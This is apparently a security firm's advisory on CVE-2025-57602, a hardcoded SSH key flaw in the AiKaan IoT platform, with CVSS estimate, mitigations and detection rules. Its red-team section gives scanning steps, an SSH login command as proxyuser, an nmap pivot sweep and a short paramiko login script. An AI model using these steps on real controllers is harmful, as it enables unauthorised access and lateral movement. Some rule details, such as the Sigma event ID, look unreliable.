CVE-2025-57602

Executive Summary

CVE-2025-57602 exposes a critical security flaw in the AiKaan IoT management platform. The vulnerability stems from insufficient hardening of the proxyuser account combined with a shared, hardcoded SSH private key. This allows remote, unauthenticated attackers to authenticate to the cloud controller, obtain an interactive shell, and pivot into other connected IoT devices. The impact includes remote code execution, information disclosure, and privilege escalation across multiple customer environments. No patch or advisory has been released by the vendor, and no public exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a platform-level flaw in the AiKaan IoT management software.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – uses hardcoded credentials.
• Privileges Required (PR): None (N) – no authentication needed.
• User Interaction (UI): None (N) – no user action required.
• Scope (S): Changed (C) – attacker can pivot to other devices.
• Confidentiality (C): High (H) – full access to data.
• Integrity (I): High (H) – full control over devices.
• Availability (A): High (H) – potential for denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – immediate risk of full compromise of IoT infrastructure.

Deep Dive & Mechanics

The vulnerability is rooted in two key weaknesses:

1. Insufficient Hardening of proxyuser Account: The proxyuser account is likely a system-level account used for inter-service communication or remote management. It lacks proper access controls, such as restricted shell, command whitelisting, or multi-factor authentication.

2. Hardcoded SSH Private Key: A shared, hardcoded SSH private key is embedded in the platform’s firmware or configuration files. This key is identical across all deployments, meaning any attacker who extracts the key can authenticate as proxyuser to any AiKaan cloud controller.

Attack Flow:

• Step 1: Attacker extracts the hardcoded SSH private key from a publicly available firmware image, documentation, or a compromised device.
• Step 2: Attacker scans for AiKaan cloud controllers (e.g., via Shodan) and attempts SSH authentication using the proxyuser account and the extracted key.
• Step 3: Upon successful authentication, the attacker gains an interactive shell on the cloud controller.
• Step 4: From the controller, the attacker pivots to connected IoT devices using the same or similar credentials, achieving lateral movement and full compromise.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code pattern would look like:

Vulnerable (hardcoded key in configuration):

# config.py
SSH_PRIVATE_KEY = """-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA...
-----END RSA PRIVATE KEY-----"""

Patched (key removed, replaced with per-deployment key management):

# config.py
# SSH_PRIVATE_KEY removed. Use secure key management.
# Key must be provisioned per deployment via secure channel.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• AiKaan cloud controller (real or emulated).
• Hardcoded SSH private key (extracted from firmware or leaked source).

Steps:

1. Identify Target: Use Shodan or masscan to find AiKaan controllers on port 22 (SSH).
2. Extract Key: Obtain the hardcoded key from a known source (e.g., firmware dump).
3. Authenticate:

   ssh -i /path/to/hardcoded_key proxyuser@<target_ip>
   

4. Pivot: Once on the controller, scan internal network for IoT devices:

   nmap -sn 10.0.0.0/24
   

5. Lateral Movement: Use the same key or default credentials to access IoT devices.

Example Exploit Script (Conceptual):

import paramiko

key = paramiko.RSAKey.from_private_key_file('hardcoded_key')
client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect('target_ip', username='proxyuser', pkey=key)
stdin, stdout, stderr = client.exec_command('id')
print(stdout.read().decode())
client.close()

Blue Team (Defense & Detection)

Detection:

• Monitor for SSH authentication attempts using the proxyuser account from unexpected IPs.
• Alert on successful SSH logins from proxyuser outside of maintenance windows.
• Detect lateral movement from the cloud controller to IoT devices.

Mitigation:

• Immediately rotate the hardcoded SSH key and disable the proxyuser account if possible.
• Implement network segmentation to limit lateral movement.
• Enable SSH logging and audit trails.

Indicators of Compromise (IOCs)

• Network:
  • SSH connections to port 22 from unknown IPs using proxyuser.
  • Outbound SSH connections from the cloud controller to internal IoT devices.
• File:
  • Presence of the hardcoded private key file (e.g., /etc/ssh/proxyuser_key).
  • Unauthorized SSH authorized_keys entries for proxyuser.
• Process:
  • Unusual shell sessions (e.g., bash, sh) spawned by proxyuser.
  • Execution of reconnaissance tools (e.g., nmap, netcat).

Detection Engineering

YARA Rule

rule CVE_2025_57602_Hardcoded_SSH_Key {
    meta:
        description = "Detects hardcoded SSH private key used in AiKaan IoT platform"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-57602"
    strings:
        $key_header = "-----BEGIN RSA PRIVATE KEY-----"
        $key_footer = "-----END RSA PRIVATE KEY-----"
        $proxyuser = "proxyuser"
    condition:
        $key_header and $key_footer and $proxyuser
}

Sigma Rule

title: CVE-2025-57602 - SSH Authentication via proxyuser
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SSH login attempts using the proxyuser account, indicating exploitation of CVE-2025-57602
author: Valters IT
date: 2025-04-10
logsource:
    product: linux
    service: sshd
detection:
    selection:
        User: "proxyuser"
        EventID: 5586  # SSH authentication success
    condition: selection
falsepositives:
    - Legitimate administrative use (rare)
level: high

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 22 (msg:"CVE-2025-57602 - SSH proxyuser Login Attempt"; flow:to_server,established; content:"proxyuser"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable proxyuser Account: If not required, disable or remove the account.
2. Rotate SSH Keys: Generate new, unique SSH key pairs for each deployment.
3. Network Segmentation: Isolate the cloud controller from IoT devices using firewalls or VLANs.
4. Enable MFA: Implement multi-factor authentication for SSH access.

Long-Term Fixes:

• Vendor Patch: Await an official patch from AiKaan that removes hardcoded credentials and implements proper key management.
• Code Review: Conduct a security audit of the platform to identify similar hardcoded secrets.
• Harden Account: Restrict proxyuser to a limited shell (e.g., rbash) and whitelist allowed commands.

Workaround:

• Use SSH key-based authentication with per-deployment keys and disable password-based login.
• Monitor SSH logs for anomalous proxyuser activity.

Valters IT